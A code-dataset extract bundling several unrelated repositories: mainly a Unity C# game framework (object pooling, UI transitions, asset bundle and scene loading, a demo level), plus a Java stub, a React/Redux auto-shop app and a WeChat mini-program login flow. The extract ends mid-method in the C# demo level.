branch_name
stringclasses
149 values
text
stringlengths
23
89.3M
directory_id
stringlengths
40
40
languages
listlengths
1
19
num_files
int64
1
11.8k
repo_language
stringclasses
38 values
repo_name
stringlengths
6
114
revision_id
stringlengths
40
40
snapshot_id
stringlengths
40
40
refs/heads/master
<repo_name>Bdch90/Diary<file_sep>/java/src/main/java/com/java/service/jwt/JwtProvider.java package com.java.service.jwt; public class JwtProvider { }
3828310f83bb72f876fa800b41cf2cb4e80a4ec7
[ "Java" ]
1
Java
Bdch90/Diary
9ffe5d121ee3914093224e5cc3f0952a8ef8cb70
c488e01d8f6df1b9653533675bc7d2d5de0f16cf
refs/heads/master
<file_sep>import { createStore, applyMiddleware, compose } from 'redux' import reducer from '../reducers' import products from '../data/products.json' import thunk from 'redux-thunk' const middleware = [thunk ] const initialState = { products: products, clicked: products.clicked } export const store = createStore(reducer, initialState,compose( applyMiddleware(...middleware), window.__REDUX_DEVTOOLS_EXTENSION__&& window.__REDUX_DEVTOOLS_EXTENSION__() ));<file_sep>//Necessary dependencies, data and components import React from 'react' import { connect } from 'react-redux' import ProductItem from '../components/ProductItem' //Handles data display function App(props) { return ( <div> { props.products.map((item, index) => { return <ProductItem item={item} key={item.name} /> }) } </div> ) } const mapStateToProps = (state) => ({ products: state.products }) export default connect(mapStateToProps, null)(App) <file_sep>import React from 'react' import './ProductItem.css' import { connect } from 'react-redux'; function ProductItem(props) { return ( <div className='productItemDiv'> <div className='productItem' key={props.item.name}> <img src={props.item.img} alt={props.item.name} /> <div className='productDetails'> <h3 className='name'>{props.item.name}</h3> <p className='number'>PartNo: <strong>{props.item.number}</strong></p> <h3 className="price">${props.item.pricing}</h3> <button onClick={() => console.log({ partNo: props.item.number, price: props.item.pricing })}><strong>Add to Cart</strong></button> </div> <hr></hr> </div> </div> ) } const mapStateToProps = (state) => ({ products: state.products }) export default connect(mapStateToProps, null)(ProductItem)<file_sep>import { ADD_TO_CART } from '../constants/actionTypes' import { store } from '../store/index' const addToCart = products => ({ type: ADD_TO_CART, payload: console.log(store.getState().products) }) export { addToCart }
8c817203f89ffd7d0f68ec8613731bd1f7205d17
[ "JavaScript" ]
4
JavaScript
mosbyts/auto-shop-redux
c0ba4920b1d2c003813802bcf3daf62250739809
5f7dab1c2cfbe818faa5e118083ea52736c6eaf4
refs/heads/master
<file_sep>import wepy from "wepy"; import { IServices } from "../../app"; import { getServices } from "../../core/services/GetServices"; export default class Home extends wepy.page { public services: IServices; public data = { companys: [], }; public onLoad() { this.services = getServices(this); } public async onShow() { if (this.services.authService.canActivate()) { wepy.showLoading({ title: "加载中...", mask: true, }); } } } <file_sep>export const BACKEND_URL = "https://api.87code.com/siren"; // export const BACKEND_URL = "http://127.0.0.1:8000"; // export const OSS_UPLOAD_PROXY_URL = "https://ncform-be.87code.com/oss-upload/"; // export const OSS_UPLOAD_URL = "http://niuba-img.oss-cn-shanghai.aliyuncs.com"; export const LOGIN_URL = "/pages/index/index"; export const LOGIN_DEFAULT_URL = "/pages/home/home"; export const TOKEN_NAME = "NIUBA"; export const WX_TYPE = "NIUBA"; <file_sep>import { from as ObservableFrom, Observable, of as ObservableOf, throwError } from "rxjs"; import { catchError, map } from "rxjs/operators"; import wepy from "wepy"; import { BACKEND_URL, TOKEN_NAME, WX_TYPE } from "../constant"; export interface IUser { id?: number; } export class UserService { public token: string; public user: IUser; public getTokenByCode(code: string): Observable<string> { return ObservableFrom(wepy.request({ url: BACKEND_URL + "/myuser/get_token_by_code/", data: { code, type: WX_TYPE, }, method: "GET", })).pipe( map((response) => { wepy.setStorageSync(TOKEN_NAME, response.data.token); this.token = response.data.token; this.user = response.data.user; return response.data.token; }), ); } public verify(token): Observable<string> { return ObservableFrom(wepy.request({ url: `${BACKEND_URL}/api-token-verify/`, data: { token, }, method: "POST", })).pipe( map((response) => { wepy.setStorageSync(TOKEN_NAME, response.data.token); this.token = response.data.token; this.user = response.data.user; this.refresh(token).subscribe(); return "success"; }), catchError((error) => { if (error.json().non_field_errors) { return ObservableOf("Login expired"); } else { return ObservableOf("network error"); } }), ); } public refresh(token): Observable<string> { return ObservableFrom(wepy.request({ url: `${BACKEND_URL}/api-token-refresh/`, data: { token, }, method: "POST", })).pipe( map((response) => { wepy.setStorageSync(TOKEN_NAME, response.data.token); this.token = response.data.token; this.user = response.data.user; return "success"; }), catchError((error) => { if (error.json().non_field_errors) { return ObservableOf("Login expired"); } else { return ObservableOf("network error"); } }), ); } public getToken(): Observable<string> { const token = wepy.getStorageSync(TOKEN_NAME); if (typeof (token) === "string") { return ObservableOf(wepy.getStorageSync(TOKEN_NAME)); } else { return throwError(new Error("no token")); } } public getPhoneVerifyCode(phoneNumber: string): Observable<string> { return ObservableFrom(wepy.request({ url: BACKEND_URL + "/phoneverify/send_code/", data: { phone_number: phoneNumber, expires: "60", }, method: "POST", })).pipe( map((response) => { return response.data.code; }), ); } public checkPhoneVerifyCode(phoneNumber: string, code: string): Observable<string> { return ObservableFrom(wepy.request({ url: BACKEND_URL + "/phoneverify/check_code/", data: { phone_number: phoneNumber, code, }, method: "POST", })).pipe( map((response) => { return response.data.code; }), ); } } <file_sep>import wepy from "wepy"; import "wepy-async-function"; import { AuthService } from "./core/services/auth.service"; import { UserService } from "./core/services/user.service"; export interface IServices { userService: UserService; authService: AuthService; } export default class SirenApp extends wepy.app { public config = { pages: [ "pages/index/index", "pages/home/home", ], window: { backgroundTextStyle: "light", navigationBarBackgroundColor: "#fff", navigationBarTitleText: "NIUBA", navigationBarTextStyle: "black", }, }; public globalData: { services: IServices, } = { services: { userService: new UserService(), authService: new AuthService(), }, }; constructor() { super(); this.use("promisify"); } public async onShow() { } public onHide() { } public onError(msg) { console.log(msg); } } <file_sep>import { from as ObservableFrom, Observable, of as ObservableOf, throwError } from "rxjs"; import { catchError, map, switchMap } from "rxjs/operators"; import wepy from "wepy"; import { IServices } from "../../app"; import { getServices } from "../../core/services/GetServices"; export default class Index extends wepy.page { public services: IServices; public onLoad() { this.services = getServices(this); wepy.showToast({ title: "登陆中", icon: "loading", duration: 10000, }); ObservableFrom(wepy.checkSession()) .pipe( switchMap(() => this.services.userService.getToken()), catchError(() => { return ObservableFrom(wepy.login()) .pipe( switchMap((res) => { if (res.code) { // 发起网络请求 return this.services.userService.getTokenByCode(res.code); } else { console.log("登录失败!" + res.errMsg); return throwError("登录失败!" + res.errMsg); } }), ); }), switchMap((token) => this.services.userService.verify(token)), switchMap((msg) => { if (msg === "success") { return this.services.authService.login(); } else { return throwError("登录失败!" + msg); } }), ) .subscribe((msg) => { wepy.redirectTo({ url: this.services.authService.redirectUrl, }); }); } public async onShow() { // } }
f06922bbc543a9b32de4f52e0ab9961964c4a8e6
[ "TypeScript" ]
5
TypeScript
niuba/wepy-ts-template
06c09c7157e870a2b00891023fa8f4d8d0c11345
45c47342d93677a6bc4bfd6e3da730b45ef71c59
refs/heads/master
<file_sep>using System.Collections.Generic; using System.IO; using UnityEditor; using UnityEngine; /// <summary> /// Basic menu to clear cache /// </summary> public class ClearCacheMenuItem { [MenuItem("Core Framework / Clear Asset Bundle Cache")] private static void ClearAssetBundleCache() { //Get all cache paths... in Unity's unique way.... var cachePaths = new List<string>(); Caching.GetAllCachePaths(cachePaths); //what?! why?! WHY!?!? foreach (var s in cachePaths) { var cache = Caching.GetCacheByPath(cachePaths[0]); Debug.Log(("Cache location: " + s).Colored(Colors.Yellow)); Debug.Log(("Cache was using: " + ((cache.spaceOccupied / 1024f) / 1024f) + " MB").Colored(Colors.Yellow)); cache.ClearCache(); Debug.Log(("Cache cleared.").Colored(Colors.Yellow)); } if (cachePaths.Count < 1) Debug.Log(("Cache was empty.").Colored(Colors.Yellow)); } [MenuItem("Core Framework / Delete Persistent Data Directory (Also deletes any saved data files)")] private static void DeletePersistentData() { //Delete Application.persistentDataPath Directory.Delete(Application.persistentDataPath, true); Debug.Log(("Deleting persistent data directory " + Application.persistentDataPath).Colored(Colors.Yellow)); } [MenuItem("Core Framework / Enable Simulate Asset Bundles")] private static void GetEnableCachedInfo() { ClearAssetBundleCache(); EditorPreferences.EditorprefSimulateAssetBundles = true; Debug.Log(("Enabled asset bundle simulation mode.").Colored(Colors.Yellow)); } [MenuItem("Core Framework / Enable Simulate Asset Bundles", true)] private static bool GetEnableCachedInfoVal() { return !EditorPreferences.EditorprefSimulateAssetBundles ? true : false; } [MenuItem("Core Framework / Disable Simulate Asset Bundles")] private static void GetDisableCachedInfo() { ClearAssetBundleCache(); EditorPreferences.EditorprefSimulateAssetBundles = false; Debug.Log(("Disabled asset bundle simulation mode.").Colored(Colors.Yellow)); } [MenuItem("Core Framework / Disable Simulate Asset Bundles", true)] private static bool GetDisableCachedInfoVal() { return EditorPreferences.EditorprefSimulateAssetBundles ? true : false; } }<file_sep>using System.Collections.Generic; using System.Linq; using UnityEngine; public static class IEnumerableExtensions { /// <summary> /// Gets a random element from an IEnumerable object /// </summary> /// <param name="source"></param> /// <typeparam name="T"></typeparam> /// <returns>Random T</returns> public static T GetRandomElement<T>(this IEnumerable<T> source) { var enumerable = source.ToList(); return enumerable.ElementAt(Random.Range(0, enumerable.Count())); } }<file_sep>using Core.Services; using Core.Services.Assets; using UnityEngine; namespace CoreDemo { public class MyGame : Game { /// <inheritdoc /> /// <summary> /// Global signal emitted when the game starts. /// </summary> protected override void OnGameStart() { base.OnGameStart(); AssetService.LoadAsset<CoreDemoLevel>(AssetCategoryRoot.Levels, Constants.Levels.CoreDemoLevel) .Run(level => { Debug.Log("MyGame Started.".Colored(Colors.Fuchsia)); //Load CoreDemoLevel level Debug.Log(("MyGame | Level " + Constants.Levels.CoreDemoLevel + " loaded.").Colored(Colors.Fuchsia)); var demo = FactoryService.Instantiate(level); }); } } }<file_sep>using UnityEditor; using UnityEngine; namespace Core { public class EditorStartup { [InitializeOnLoad] public class Startup { static Startup() { if (EditorPreferences.EditorprefFirstTimeUse) { Debug.Log("First time use. Enabling asset bundle simulation mode.".Colored(Colors.Yellow)); EditorPreferences.EditorprefSimulateAssetBundles = true; EditorPreferences.EditorprefFirstTimeUse = false; } } } } }<file_sep>using System.Collections.Generic; using UnityEngine; using Zenject; namespace Core.Services.Factory { public class Pooler<T> where T : Component { public Transform PoolerTransform { get; } public int SizeLimit { get; private set; } public int ActiveElements { get; private set; } = 0; private Stack<T> _pool; private readonly Component _prefab; private readonly DiContainer _diContainer; /// <summary> /// Initialize pooler /// </summary> /// <param name="prefab"> Gameobject to be pooled </param> /// <param name="amount"> Pool size </param> /// <param name="container"></param> /// <param name="poolTransform"></param> public Pooler(Component prefab, int amount, DiContainer container, Transform poolTransform = null) { if (poolTransform) PoolerTransform = poolTransform; else { var go = new GameObject(Constants.PooledObject + prefab.name); PoolerTransform = go.transform; } _prefab = prefab; SizeLimit = amount; _diContainer = container; CreatePool(amount); } /// <summary> /// Get element from the _pool /// </summary> /// <returns></returns> public T Pop() { if (_pool.Count == 0) return null; return Get(); } /// <summary> /// Get element from the _pool, if there are no more elements allocated, create a new one /// </summary> /// <returns></returns> public T PopResize() { SizeLimit++; if (_pool.Count == 0) _pool.Push(CreateObject(_prefab)); return Get(); } /// <summary> /// Resize _pool.This changes the size of the _pool, however, if there are elements alive /// that have been pooled, they will stay alive until they are pushed back into the _pool at /// which moment they will be destroyed if they dont fit in the new pool size /// </summary> /// <param name="val"> New _pool size </param> public void ResizePool(int val) { SizeLimit = val; var totalElems = _pool.Count + ActiveElements; if (totalElems < val) for (var i = totalElems; i <= val - 1; i++) _pool.Push(CreateObject(_prefab)); else if (totalElems > val) for (var i = 0; i <= totalElems - val - 1; i++) if (_pool.Count > 0) { var o = _pool.Pop(); Object.Destroy(o.gameObject); } } /// <summary> /// Return element to the _pool /// </summary> /// <param name="obj"></param> public void Push(T obj) { obj.gameObject.SetActive(false); if (_pool.Count + ActiveElements <= SizeLimit) _pool.Push(obj); else Object.Destroy(obj.gameObject); ActiveElements--; } /// <summary> /// Destroy _pool /// </summary> public void Destroy() { DestroyPool(); if (PoolerTransform) Object.Destroy(PoolerTransform.gameObject); } private T Get() { var obj = _pool.Pop(); obj.gameObject.SetActive(true); ActiveElements++; return obj; } private void CreatePool(int amount) { if (_pool != null) DestroyPool(); _pool = new Stack<T>(); ActiveElements = 0; for (var i = 0; i <= amount - 1; i++) _pool.Push(CreateObject(_prefab)); } private T CreateObject(Object prefab) { var go = _diContainer.InstantiatePrefab(prefab, PoolerTransform); go.SetActive(false); return go.GetComponent<T>() as T; } private void DestroyPool() { foreach (var obj in _pool) { if (obj) obj.gameObject.Destroy(); } } } }<file_sep>using System; using System.Threading.Tasks; using Core.Services.Audio; using UniRx; using UnityEngine; using Zenject; namespace Core.Services.UI { /// <summary> /// UIElement is the base class for any UI element that is controlled by the _uiService. /// </summary> public abstract class UIElement : CoreBehaviour { [SerializeField] protected bool _PauseGameWhenOpen = false; public bool PauseGameWhenOpen => _PauseGameWhenOpen; [SerializeField] protected UIType _UiType; public UIType UIType => _UiType; [SerializeField] protected UIElementTransitionOptions inTransition, outTransition; private readonly Subject<UIElement> _onClosed = new Subject<UIElement>(); public RectTransform RectTransform => transform as RectTransform; [Inject] protected AudioService AudioService; /// <summary> /// Triggers after the transition on Show ends. /// </summary> protected abstract void OnElementShow(); /// <summary> /// Triggers after the transition on Hide ends. /// </summary> protected abstract void OnElementHide(); protected override void Start() { base.Start(); Show().Run(); } public IObservable<UIElement> OnClosed() { return _onClosed; } /// <summary> /// Shows the UI Element and performs any transition /// </summary> /// <returns></returns> public virtual async Task Show() { if (inTransition.transitionSound) AudioService.PlayClip(inTransition.transitionSound); if (inTransition != null && inTransition.transitionType != TransitionType.NotUsed) await inTransition.PlayTransition(this); else OnElementShow(); } /// <summary> /// Hides the UI Element after playing the out transition. /// </summary> /// <returns></returns> public virtual async Task Hide(bool isClose = false) { if (outTransition.transitionSound) AudioService.PlayClip(outTransition.transitionSound); if (outTransition != null && outTransition.transitionType != TransitionType.NotUsed) await outTransition.PlayTransition(this, true); else OnElementHide(); } /// <summary> /// Close window and tells iservice to destroy the uielement and unload the asset /// </summary> /// <returns> Observable </returns> public virtual async Task Close() { await Hide(true); _onClosed.OnNext(this); _onClosed.OnCompleted(); } } }<file_sep>using System; using Core.Services.UI; using UniRx; using UnityEngine; using UnityEngine.UI; namespace CoreDemo { /// <summary> /// This window is the left panel open during the game demo. /// </summary> public class UIShowOffWindowHud : UIDialog { [SerializeField] private Slider _poolSizeSlider; [SerializeField] private Slider _spawningSpeedSlider; /// <summary> /// Signal triggers when the pool speed changes /// </summary> /// <returns></returns> private readonly Subject<float> _onSpawningSpeedChanged = new Subject<float>(); /// <summary> /// Signal triggers when the pool size is reset /// </summary> /// <returns></returns> private readonly Subject<int> _onResetPool = new Subject<int>(); public void BackToTitleOnClick() { if (UiService.IsUIElementOpen(Constants.UI.RightWindow)) UiService.GetOpenUIElement(Constants.UI.RightWindow).Close(); if (UiService.IsUIElementOpen(Constants.UI.TopWindow)) UiService.GetOpenUIElement(Constants.UI.TopWindow).Close(); if (UiService.IsUIElementOpen(Constants.UI.BottomWindow)) UiService.GetOpenUIElement(Constants.UI.BottomWindow).Close(); Close(); } public void OpenTopWindowOnClick() { if (!UiService.IsUIElementOpen(Constants.UI.TopWindow)) { if (UiService.IsUIElementOpen(Constants.UI.RightWindow)) UiService.GetOpenUIElement(Constants.UI.RightWindow).Close(); if (UiService.IsUIElementOpen(Constants.UI.BottomWindow)) UiService.GetOpenUIElement(Constants.UI.BottomWindow).Close(); UiService.OpenUI(Constants.UI.TopWindow).TaskToObservable().Subscribe(); } } public void OpenBottomWindowOnClick() { if (!UiService.IsUIElementOpen(Constants.UI.BottomWindow)) { if (UiService.IsUIElementOpen(Constants.UI.RightWindow)) UiService.GetOpenUIElement(Constants.UI.RightWindow).Close(); if (UiService.IsUIElementOpen(Constants.UI.TopWindow)) UiService.GetOpenUIElement(Constants.UI.TopWindow).Close(); UiService.OpenUI(Constants.UI.BottomWindow).TaskToObservable().Subscribe(); } } public void OpenRightWindowOnClick() { if (!UiService.IsUIElementOpen(Constants.UI.RightWindow)) { if (UiService.IsUIElementOpen(Constants.UI.TopWindow)) UiService.GetOpenUIElement(Constants.UI.TopWindow).Close(); if (UiService.IsUIElementOpen(Constants.UI.BottomWindow)) UiService.GetOpenUIElement(Constants.UI.BottomWindow).Close(); UiService.OpenUI(Constants.UI.RightWindow).TaskToObservable().Subscribe(); } } public void OnPoolSliderChange(Text text) { text.text = _poolSizeSlider.value.ToString(); } public void OnSpawningSpeedSliderChange(Text text) { text.text = $"{_spawningSpeedSlider.value:0.00}"; _onSpawningSpeedChanged.OnNext(_spawningSpeedSlider.value); } public IObservable<float> OnSpawningSpeedChanged() { return _onSpawningSpeedChanged; } public IObservable<int> OnResetPool() { return _onResetPool; } public void CreateResetPool() { _onResetPool.OnNext((int)_poolSizeSlider.value); } protected override void OnDestroy() { _onResetPool.OnCompleted(); _onSpawningSpeedChanged.OnCompleted(); } } }<file_sep>using System; using UniRx; using Zenject; namespace Core.Services { public class OnGameStartedSignal { } /// <summary> /// Entry point for the game. /// </summary> public class CoreFrameworkInstaller : MonoInstaller<CoreFrameworkInstaller> { [Inject] private SignalBus _signalBus; private readonly Subject<Unit> _onGameStart = new Subject<Unit>(); private IObservable<Unit> OnGameStarted => _onGameStart; public override void InstallBindings() { Container.BindInstance(OnGameStarted).AsSingle(); } public override void Start() { _signalBus.Fire<OnGameStartedSignal>(); } } }<file_sep>using System.Threading.Tasks; using DG.Tweening; using UniRx.Async; using UnityEngine; using UnityEngine.UI; namespace Core.Services.UI { public enum TransitionType { NotUsed, Scale, Left, Right, Top, Bottom, Fade } [System.Serializable] public class UIElementTransitionOptions { public TransitionType transitionType; public Ease tweenType; public float transitionTime = 0.5f; public AudioClip transitionSound; private bool _transitionCompleted = false; public async Task PlayTransition(UIElement uiElement, bool isOutTransition = false) { var start = Vector2.zero; var end = Vector2.zero; var rtrans = uiElement.RectTransform; _transitionCompleted = false; switch (transitionType) { case TransitionType.Scale: start = Vector2.zero; end = new Vector2(1, 1); if (isOutTransition) { start = end; end = Vector2.zero; } await Scale(rtrans, start, end); break; case TransitionType.Left: start = rtrans.anchoredPosition; start.x -= rtrans.rect.width; end = rtrans.anchoredPosition; if (isOutTransition) { start = end; end = rtrans.anchoredPosition; end.x -= rtrans.rect.width; } await Move(rtrans, start, end); break; case TransitionType.Right: start = rtrans.anchoredPosition; start.x += rtrans.rect.width; end = rtrans.anchoredPosition; if (isOutTransition) { start = end; end = rtrans.anchoredPosition; end.x += rtrans.rect.width; } await Move(rtrans, start, end); break; case TransitionType.Top: start = rtrans.anchoredPosition; start.y += Screen.height / 2; end = rtrans.anchoredPosition; if (isOutTransition) { start = end; end = rtrans.anchoredPosition; end.y += Screen.height / 2; } await Move(rtrans, start, end); break; case TransitionType.Bottom: start = rtrans.anchoredPosition; start.y -= Screen.height / 2; end = rtrans.anchoredPosition; if (isOutTransition) { start = end; end = rtrans.anchoredPosition; end.y -= Screen.height / 2; } await Move(rtrans, start, end); break; case TransitionType.Fade: float fstart = 0; float fend = 1; if (isOutTransition) { fstart = 1; fend = 0; } await Fade(rtrans, fstart, fend); break; } } private async Task Scale(RectTransform transform, Vector2 start, Vector2 end) { transform.DOScale(start, 0); transform.DOScale(end, transitionTime) .SetEase(tweenType) .OnComplete(() => { _transitionCompleted = true; }); while (!_transitionCompleted) await UniTask.Yield(); } private async Task Move(RectTransform transform, Vector2 start, Vector2 end) { transform.DOAnchorPos(start, 0); transform.DOAnchorPos(end, transitionTime) .SetEase(tweenType) .OnComplete(() => { _transitionCompleted = true; }); while (!_transitionCompleted) await UniTask.Yield(); } private async Task Fade(RectTransform transform, float start, float end) { var images = transform.GetComponentsInChildren<Image>(); var completed = 0; foreach (var image in images) { image.DOFade(start, 0); image.DOFade(end, transitionTime) .SetEase(tweenType) .OnComplete(() => { completed++; if (completed >= images.Length) { _transitionCompleted = true; } }); } while (!_transitionCompleted) await UniTask.Yield(); } } }<file_sep>using System; using System.Collections; using System.Threading; using System.Threading.Tasks; using UniRx; public static class ObservableExtensions { /// <summary> /// AssetBundleRequest ToObservable extension /// </summary> /// <param name="asyncOperation"></param> /// <returns></returns> public static IObservable<UnityEngine.Object> ToObservable(this UnityEngine.AssetBundleRequest asyncOperation) { if (asyncOperation == null) throw new ArgumentNullException(nameof(asyncOperation)); return Observable.FromCoroutine<UnityEngine.Object>((observer, cancellationToken) => RunAssetBundleRequestOperation(asyncOperation, observer, cancellationToken)); } private static IEnumerator RunAssetBundleRequestOperation(UnityEngine.AssetBundleRequest asyncOperation, IObserver<UnityEngine.Object> observer, CancellationToken cancellationToken) { while (!asyncOperation.isDone && !cancellationToken.IsCancellationRequested) yield return null; if (!cancellationToken.IsCancellationRequested) { observer.OnNext(asyncOperation.asset); observer.OnCompleted(); } } /// <summary> /// Converts a Task to an Observable, runs on main thread. /// </summary> /// <param name="task"></param> /// <returns></returns> public static IObservable<Unit> TaskToObservable(this Task task) { return Observable.Create<Unit>( (observer) => { task.Run(_ => { observer.OnNext(new Unit()); observer.OnCompleted(); }); return Disposable.Empty; } ); } /// <summary> /// Converts a Task<T/> to an Observable, runs on main thread. /// </summary> /// <param name="task"></param> /// <typeparam name="T"></typeparam> /// <returns></returns> public static IObservable<T> TaskToObservable<T>(this Task<T> task) where T : UnityEngine.Object { return Observable.Create<T>( (observer) => { task.Run(x => { observer.OnNext(x); observer.OnCompleted(); }); return Disposable.Empty; } ); } }<file_sep>using System; using Core.Services.UI; using UniRx; namespace CoreDemo { /// <summary> /// Window that opens when the Title Screen level loads. /// </summary> public class UITitleScreenWindow : UIDialog { private readonly Subject<UITitleScreenWindow> _onSpawningSpeedChanged = new Subject<UITitleScreenWindow>(); /// <summary> /// Handles UI OnClick event for the start button. /// Assigned on editor /// </summary> public void OnStartClick() { _onSpawningSpeedChanged.OnNext(this); } public IObservable<UITitleScreenWindow> OnStartClicked() { return _onSpawningSpeedChanged; } } }<file_sep>using Core.Services.Audio; using UnityEngine; using UnityEngine.Audio; using Zenject; namespace Core.Services.Levels { public enum LevelState { Loaded, Started, InProgress, Completed } /// <summary> /// A level has the same purpose of a scene, but we can change them without having to load a /// scene. This works well on most plaforms except for WebGL where loading scenes also clears the memory. /// </summary> public abstract class Level : CoreBehaviour { public LevelState LevelState { get; private set; } [SerializeField] protected AudioClip BackgroundMusic; [SerializeField] protected AudioMixerGroup AudioMixer; protected override void Awake() { base.Awake(); Debug.Log(("Level: " + name + " loaded").Colored(Colors.LightBlue)); LevelState = LevelState.Loaded; } protected override void Start() { base.Start(); Debug.Log(("Level: " + name + " started").Colored(Colors.LightBlue)); LevelState = LevelState.Started; LevelState = LevelState.InProgress; if (AudioService != null && BackgroundMusic != null && BackgroundMusic != null) AudioService.PlayMusic(BackgroundMusic, AudioMixer); } } }<file_sep>using UnityEngine; public class UICanvas : MonoBehaviour { [SerializeField] internal RectTransform DialogContainer; [SerializeField] internal RectTransform WidgetContainer; [SerializeField] internal RectTransform PanelContainer; }<file_sep>using System.Collections.Generic; using UnityEngine; public static class UnityComponentExtensions { /// <summary> /// Destroy component /// </summary> /// <param name="component"></param> public static void Destroy(this Component component) { Object.Destroy(component); } /// <summary> /// Destroy gameObject /// </summary> /// <param name="gameObject"></param> public static void Destroy(this GameObject gameObject) { Object.Destroy(gameObject); } /// <summary> /// Add a child to the gameobject. Same as SetParent on other. /// </summary> /// <param name="gameObject"></param> /// <param name="other"></param> /// <param name="worldPositionStays">If true, the parent-relative position, scale and /// rotation are modified such that the object keeps the same world space position, /// rotation and scale as before.</param> public static void AddChild(this GameObject gameObject, GameObject other,bool worldPositionStays = true) { gameObject.transform.AddChild(other.transform, worldPositionStays); } /// <summary> /// Add a child to the gameobject. Same as SetParent on other. /// </summary> /// <param name="gameObject"></param> /// <param name="other"></param> /// <param name="worldPositionStays">If true, the parent-relative position, scale and /// rotation are modified such that the object keeps the same world space position, /// rotation and scale as before.</param> public static void AddChild(this GameObject gameObject, Component other, bool worldPositionStays = true) { gameObject.transform.AddChild(other, worldPositionStays); } /// <summary> /// Add a child to the component. Same as SetParent on other. /// </summary> /// <param name="component"></param> /// <param name="other"></param> /// <param name="worldPositionStays">If true, the parent-relative position, scale and /// rotation are modified such that the object keeps the same world space position, /// rotation and scale as before.</param> public static void AddChild(this Component component, Component other, bool worldPositionStays = true) { other.transform.SetParent(component.transform, worldPositionStays); } /// <summary> /// Get all children from tranform. If any. /// </summary> /// <param name="transform"></param> /// <returns></returns> public static List<Transform> GetAllChildren(this Transform transform) { var children = new List<Transform>(); foreach(Transform child in transform) children.Add(child); return children; } /// <summary> /// Detach GameObject from parent /// </summary> /// <param name="gameObject"></param> public static void DetachFromParent(this GameObject gameObject) { gameObject.transform.parent = null; } /// <summary> /// Detach component from parent /// </summary> /// <param name="component"></param> public static void DetachFromParent(this Component component) { component.transform.parent = null; } /// <summary> /// Distance between two objects. Same as Vector3.Distance /// </summary> /// <param name="from"></param> /// <param name="to"></param> /// <param name="useLocalPosition"></param> /// <returns></returns> public static float Distance(this Component from, Component to, bool useLocalPosition = false) { return useLocalPosition ? Vector3.Distance(from.transform.localPosition, to.transform.localPosition) : Vector3.Distance(from.transform.position, to.transform.position); } /// <summary> /// Distance between two objects 2D. Same as Vector2.Distance. /// </summary> /// <param name="from"></param> /// <param name="to"></param> /// <param name="useLocalPosition"></param> /// <returns></returns> public static float Distance2D(this Component from, Component to, bool useLocalPosition = false) { return useLocalPosition ? Vector2.Distance(from.transform.localPosition, to.transform.localPosition) : Vector2.Distance(from.transform.position, to.transform.position); } }<file_sep>using UnityEngine; using Zenject; namespace Core.Services { /// <summary> /// Starting point for Core Framework. /// </summary> public abstract class Game : CoreBehaviour { [Inject] private SignalBus _signalBus; protected override void Awake() { //Make this object persistent DontDestroyOnLoad(gameObject); //Trigger OnGameStartedSignal _signalBus.Subscribe<OnGameStartedSignal>(OnGameStart); } /// <summary> /// Method triggered when the game starts. /// </summary> protected virtual void OnGameStart() { Debug.Log("Game Started".Colored(Colors.Lime)); } } }<file_sep>using System; using System.Threading; using System.Threading.Tasks; using Core.Services.Assets; using Core.Services.UI; using UniRx.Async; using UnityEngine; using UnityEngine.SceneManagement; using Zenject; namespace Core.Services.Scenes { public class SceneLoaderService : Service { #pragma warning disable 0414 // suppress value not used warning private SceneLoaderServiceConfiguration _configuration; #pragma warning restore 0414 // restore value not used warning [Inject] private AssetService _assetService; [Inject] private UIService _uiService; public SceneLoaderService(ServiceConfiguration config) { _configuration = config as SceneLoaderServiceConfiguration; } /// <summary> /// Attempts to load a scene from an asset bundle /// </summary> /// <param name="scene"></param> /// <param name="mode"> </param> /// <param name="forceLoadFromStreamingAssets"></param> /// <param name="progress"></param> /// <param name="cancellationToken"></param> /// <returns></returns> public async Task<UnityEngine.Object> LoadScene(string scene, LoadSceneMode mode = LoadSceneMode.Single, bool forceLoadFromStreamingAssets = false, IProgress<float> progress = null, CancellationToken cancellationToken = default(CancellationToken)) { return await GetScene(scene, mode, forceLoadFromStreamingAssets, progress, cancellationToken); } /// <summary> /// Gets a scene from an asset bundle /// </summary> /// <param name="scene"></param> /// <param name="mode"> </param> /// <param name="forceLoadFromStreamingAssets"></param> /// <param name="progress"></param> /// <param name="cancellationToken"></param> /// <returns></returns> private async Task<UnityEngine.Object> GetScene(string scene, LoadSceneMode mode, bool forceLoadFromStreamingAssets, IProgress<float> progress, CancellationToken cancellationToken) { if (_assetService.GetLoadedBundle(scene)) throw new Exception("Scene " + scene + " is already loaded and open. Opening the same scene twice is not supported."); var sceneObject = await _assetService.GetScene(new BundleRequest(AssetCategoryRoot.Scenes, scene, scene), forceLoadFromStreamingAssets, progress, cancellationToken); if (sceneObject && !cancellationToken.IsCancellationRequested) { Debug.Log(("SceneLoaderService: Loaded scene - " + scene).Colored(Colors.LightBlue)); await SceneManager.LoadSceneAsync(scene, mode); Debug.Log(("SceneLoaderService: Opened scene - " + scene).Colored(Colors.LightBlue)); } return sceneObject; } /// <summary> /// Unload scene. /// </summary> /// <param name="scene"></param> /// <returns></returns> public async Task UnLoadScene(string scene) { await SceneManager.UnloadSceneAsync(scene); Debug.Log(("SceneLoaderService: Unloaded scene - " + scene).Colored(Colors.LightBlue)); await _assetService.UnloadAsset(scene, true); } } }<file_sep>using System; using System.Threading; using System.Threading.Tasks; using Core.Services.Assets; using Core.Services.Factory; using Core.Services.Levels; using UniRx; using UniRx.Async; using UnityEngine; namespace CoreDemo { /// <summary> /// Demo level for CoreDemo. /// </summary> public class CoreDemoLevel : Level { [SerializeField] private Transform _spawner; //Place where balls are going to spawn from private Pooler<Ball> _pooler; private float _spawningSpeed = 1; //Default spawning speed private Ball _ballPrefab; private Task _spawnerTask; private PoolWidget _poolWidget; private CancellationTokenSource _tokenSource; protected override void Awake() { base.Awake(); AssetService.LoadAsset<Ball>(AssetCategoryRoot.Prefabs, Constants.Prefabs.Ball) .Run(ball => { _ballPrefab = ball; //Initialize pooler, and set the pool to one element _pooler = FactoryService.CreatePool<Ball>(_ballPrefab, 1); }); } protected override void Start() { base.Start(); //Open UITitleScreenWindow OpenTitleScreen(); //Used to cancel task _tokenSource = new CancellationTokenSource(); //runs task on main thread Spawner(1, _tokenSource.Token); } private void OpenTitleScreen() { UiService.OpenUI<UITitleScreenWindow>(Constants.UI.UITitleScreenWindow) .Run(screen => { //Open title screen window window Debug.Log(("Window " + screen.name + " opened.").Colored(Colors.Fuchsia)); screen.OnStartClicked().Subscribe(OnStartClicked).AddTo(this); }); } private void OnStartClicked(UITitleScreenWindow start) { start.Close(); UiService.OpenUI<UIShowOffWindowHud>(Constants.UI.UIShowOffWindowHud).Run(showOff => { 